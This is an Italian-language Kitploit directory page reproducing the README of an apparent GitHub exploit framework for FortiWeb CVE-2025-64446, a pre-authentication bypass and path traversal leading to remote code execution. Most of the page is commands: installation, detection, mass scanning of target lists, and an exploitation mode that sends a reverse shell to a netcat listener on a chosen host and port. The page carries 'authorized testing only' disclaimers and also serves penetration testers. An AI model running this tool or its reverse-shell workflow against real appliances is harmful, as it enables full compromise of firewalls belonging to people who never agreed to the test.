Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FortiWeb-cve-2025-64446-RCE-exploit — Strumento di ricerca sulla sicurezza per la vulnerabilità FortiWeb CVE-2025-64446. Framework di sfruttamento automatizzato con registrazione avanzata, metriche in tempo reale, debug tramite proxy e reportistica professionale. Include logica di retry, multi-threading e impostazioni configurabili. Solo per test di sicurezza autorizzati. CVSS 9.8 Critico. | Kitploit
Strumenti/GitHubGitHub/cerberusmrxi/fortiweb-cve-2025-64446-rce-exploit
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing
GitHubcerberusmrxi/fortiweb-cve-2025-64446-rce-exploit

FortiWeb-cve-2025-64446-RCE-exploit

Vedi Repository
1192 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Strumento di ricerca sulla sicurezza per la vulnerabilità FortiWeb CVE-2025-64446. Framework di sfruttamento automatizzato con registrazione avanzata, metriche in tempo reale, debug tramite proxy e reportistica professionale. Include logica di retry, multi-threading e impostazioni configurabili. Solo per test di sicurezza autorizzati. CVSS 9.8 Critico.

Condividi

FortiWeb CVE-2025-64446 RCE Exploit

Python License CVSS CVE Status Version

Framework professionale per la ricerca sulla sicurezza e la valutazione delle vulnerabilità

Installazione · Avvio rapido · Guida all'uso · Architettura · Riferimento CLI · Disclaimer


Panoramica

FortiWeb Research Tool è un framework di valutazione in Python per il rilevamento e l'analisi autorizzati di CVE-2025-64446, un problema critico di esecuzione remota di codice pre-autenticazione che interessa gli appliance FortiWeb Web Application Firewall.

AttributoDettaglio
AutoreSudeepa Wanigarathna
CVECVE-2025-64446
CVSS9.8 (Critico)
ClasseBypass dell'autenticazione + path traversal → upload arbitrario di file → RCE
Versioni interessateBuild precedenti alla 7.6.7 / 7.8.7 / 8.0.2 (verificare rispetto all'advisory ufficiale)
RimedioAggiornare a una release FortiWeb corretta
LinguaggioPython 3.7+
Punto di ingressoexploit.py

Funzionalità principali

ModalitàFlagScopo
Rilevamento--detect-onlyIndicatori di vulnerabilità non sfruttativi
Sicura / sola lettura--safe-modeSalta i passaggi di exploit che modificano lo stato
Scansione di massa--targets + --scan-modeValutazione parallela multi-target
Sfruttamento--target + --lhostCatena controllata solo in laboratori autorizzati
Esecuzione simulata--dry-runEsegue il flusso senza applicare modifiche
Reportistica--output-dirReport di engagement in JSON + HTML

Riepilogo della vulnerabilità

CampoValore
CVE IDCVE-2025-64446
Punteggio CVSS9.8 (Critico)
ImpattoCompromissione totale del sistema se sfruttata con successo
CorrezioneAggiornare a 7.6.7, 7.8.7, 8.0.2 o versioni successive

Confermare sempre le versioni interessate/corrette con il Fortinet PSIRT prima di definire l'ambito dell'engagement.


📸 Schermate

UtilizzoRisultati della scansione
DashboardRisultati della scansione
Output HTML
Output del terminale

Installazione

git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit

python3 -m venv venv
source venv/bin/activate          # Linux / macOS
# venv\Scripts\activate           # Windows

pip install -r requirements.txt
python3 exploit.py --help

Dipendenze

PacchettoRuolo
requests, urllib3Client HTTP
rich, colorama, tqdmInterfaccia terminale e avanzamento
pyyamlCaricamento di config.yaml

Opzionali (sviluppo): pytest, black, flake8, mypy, python-dotenv — vedere requirements.txt.


Avvio rapido

# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only

# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode

# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10

# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444

Nota: La modalità di sfruttamento richiede --lhost. Usare --detect-only o --safe-mode quando non si intende eseguire l'intera catena.


Guida all'uso

Modalità di rilevamento

python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30

La modalità di rilevamento valuta la raggiungibilità, gli indizi sulla versione, l'esposizione delle API, gli indicatori di path traversal, i segnali di bypass dell'autenticazione e l'accessibilità degli endpoint di upload. Il rischio viene classificato come Critico / Alto / Medio / Basso sulla base di questi indicatori.

Scansione di massa

cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF

python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports

ScannerManager esegue i worker FortiWebScanner tramite un pool di thread, stampa una tabella riepilogativa Rich e scrive scan_report.json / scan_report.html.

Modalità di sfruttamento (solo laboratori autorizzati)

# Start your listener first (example)
nc -lvnp 4444

python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"

File di configurazione

# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999

I flag della CLI sovrascrivono i valori caricati dal file YAML.


Architettura

exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics   # dataclasses
├── LogManager                                       # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay                           # Rich / colorama UI
├── FortiWebScanner                                  # detect-only checks (no exploit chain)
├── ScannerManager                                   # threaded multi-target scans + reports
├── FortiWebExploit                                  # single-target detect / exploit workflow
└── main()                                           # argparse + mode dispatch
ComponenteResponsabilità
FortiWebScannerControlli di raggiungibilità, versione e indicatori CVE
ScannerManagerScansioni parallele, report JSON/HTML, tabella riepilogativa
FortiWebExploitSessione guidata da configurazione, tentativi, metriche, report, percorso di exploit opzionale
LogManagerRegistrazione strutturata su file + console colorata
Scarica lo strumento